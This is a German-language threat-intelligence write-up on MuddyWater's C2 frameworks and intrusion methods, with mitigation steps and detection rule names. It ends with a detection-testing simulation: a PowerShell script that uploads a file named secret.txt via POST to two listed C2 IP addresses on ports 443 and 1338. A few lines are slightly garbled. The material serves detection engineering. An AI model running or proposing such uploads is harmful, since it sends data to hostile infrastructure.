MuddyWater aufgedeckt: Einblick in eine iranische APT-Operation
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Forscher identifizierten eine MuddyWater (Static Kitten) Einbruchsgruppe, die mehrere maßgeschneiderte C2-Frameworks mit opportunistischer Ausnutzung zahlreicher öffentlich zugänglicher Schwachstellen und hochvolumigem Anmeldeinformations-Spraying kombinierte. Die Betreiber koppelten Aufklärung, Erstzugriff und Datendiebstahls-Tools, um Ziele im Nahen Osten, Europa und den Vereinigten Staaten zu kompromittieren.
Untersuchung
Ermittler beschlagnahmten freigelegte Infrastruktur von einem in den Niederlanden gehosteten VPS und extrahierten Binärdateien von drei speziell entwickelten C2-Servern: KeyC2, PersianC2, und ArenaC2. Sie stellten auch unterstützende Werkzeuge wieder her, darunter PowerShell-basierte Loader und Node.js-Payloads, die für die Vorbereitung und Ausführung verwendet wurden. Die Aktivität umfasste großangelegte Scans nach öffentlich zugänglichen Schwachstellen, gefolgt von Ausnutzung, und integrierte Blockchain-Smart-Contracts als Mechanismus zur dynamischen Auflösung oder Aktualisierung von C2-Endpunkten.
Minderung
Priorisieren Sie die Behebung der genannten CVEs und reduzieren Sie die Angriffsfläche, indem Sie öffentliche Dienste sicherer machen und ihre Exposition einschränken. Blockieren oder beschränken Sie unbekannten ausgehenden UDP-Verkehr auf Port 1269 und überwachen Sie Ausführungsartefakte, die mit den benutzerdefinierten C2-Binärdateien und ihren charakteristischen Befehlsmustern in Verbindung stehen. Erzwingen Sie das Prinzip der geringsten Privilegien für VPN- und Administratorkonten auf Netzwerkgeräten und erhöhen Sie die Erkennungsabdeckung für anomales PowerShell-Verhalten und verschlüsselte ausgehende Sitzungen zu unbekannten IP-Bereichen.
Antwort
Wenn Indikatoren beobachtet werden, isolieren Sie die betroffenen Systeme, bewahren Sie Speicher- und Datenträgerartefakte und blockieren Sie sofort die identifizierten C2-Domains/IPs. Führen Sie eine forensische Untersuchung der wiederhergestellten Loader und Node.js-Skripte durch, um Umfang und Persistenz der Ausführung zu bestimmen. Patchen Sie alle ausgenutzten Schwachstellen und ändern Sie alle Anmeldeinformationen, die durch Spraying oder Diebstahl offengelegt worden sein könnten.
Angriffsfluss
Erkennungen
Kurzer Dateiname (über cmdline)
Anzeigen
Verdächtige Dateien im öffentlichen Benutzerprofil (über file_event)
Anzeigen
Mögliche Datenexfiltration über Rclone-Werkzeug (über cmdline)
Anzeigen
Verdächtige Ausführung aus öffentlichem Benutzerprofil (über process_creation)
Anzeigen
Verdächtige .NET-Methodenaufrufe aus PowerShell (über powershell)
Anzeigen
NodeJS-Binärdatei wird von einem ungewöhnlichen Ort aus ausgeführt (über cmdline)
Anzeigen
Mögliche Verwendung eines Tunneling-Tools [Windows] (über cmdline)
Anzeigen
PowerShell-Loader und Datenexfiltration über WebClient [Windows PowerShell]
Anzeigen
Erkennung von MuddyWater-Password Spraying und SMTP-Bruteforce [Windows-Prozess-Erstellung]
Anzeigen
Erkennung von MuddyWater Fortinet-Ausnutzung und Datenexfiltration [Firewall]
Anzeigen
Ausführung der Simulation
Voraussetzung: Das Telemetrie- & Baseline-Pre-Flight-Check muss bestanden werden.
Rationale: Dieser Abschnitt beschreibt die präzise Ausführung der gegnerischen Technik (TTP), die entwickelt wurde, um die Erkennungsregel auszulösen. Die Befehle und das Narrativ müssen direkt die identifizierten TTPs widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.
-
Angriffs-Narrativ & Befehle:
-
Aufklärung & Datenvorbereitung: Der Angreifer listet lokale Dateien auf (
T1005) und schreibt eine kleine Nutzlast (secret.txt) auf den Arbeitsplatz. -
Einrichtung der C2-Kommunikation: Mit PowerShell (
T1059.001), erstellt der Angreifer einen HTTPS-POST zur MuddyWater C2-Server194.11.246.101auf Port 443 unter Einbettung der vorbereiteten Daten. -
Alternativer Kanal (Nicht-Standard-Port): Um einfache Port-basierte Regeln zu umgehen, wiederholt der Angreifer die Exfiltration über Port 1338 unter Verwendung
Invoke-WebRequestmit dem-Port-Schalter (PowerShell 7+). -
Optionales Proxy-Chaining: Die Anfrage wird über einen externen Proxy geleitet (
T1090.002), aber die endgültige Ziel-IP bleibt der MuddyWater-Host, um sicherzustellen, dass die Firewall-Protokolle die bösartigedst_ip.
-
Aufklärung & Datenvorbereitung: Der Angreifer listet lokale Dateien auf (
-
Regressionstest-Skript:
# MuddyWater-Exfiltrationssimulation – PowerShell # ------------------------------------------------ # Schritt 1: Erstellen von Dummy-Daten $dataPath = "$env:TEMPsecret.txt" "Sensitive data $(Get-Date)" | Out-File -FilePath $dataPath -Encoding UTF8 # Schritt 2: Definieren der C2-Endpunkte $c2Ips = @('194.11.246.101','18.223.24.218') $c2Ports = @(443,1338) # Schritt 3: Upload via HTTPS (Port 443) foreach ($ip in $c2Ips) { $uri = "https://$ip/upload" Invoke-WebRequest -Uri $uri -Method POST -InFile $dataPath -UseBasicParsing -ErrorAction SilentlyContinue } # Schritt 4: Upload via benutzerdefiniertem Port 1338 (erfordert PowerShell 7+) foreach ($ip in $c2Ips) { $uri = "http://$ip:1338/upload" Invoke-WebRequest -Uri $uri -Method POST -InFile $dataPath -UseBasicParsing -ErrorAction SilentlyContinue } # Schritt 5: Aufräumen Remove-Item -Path $dataPath -Force -
Aufräumbefehle:
# Entfernen von verbleibenden Netzwerkverbindungen (Windows) Get-NetTCPConnection -RemoteAddress 194.11.246.101,18.223.24.218 | Where-Object { $_.State -eq 'Established' } | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force } # Löschen temporärer Dateien (bei Bedarf erneut ausführen) $tempFile = "$env:TEMPsecret.txt" if (Test-Path $tempFile) { Remove-Item $tempFile -Force }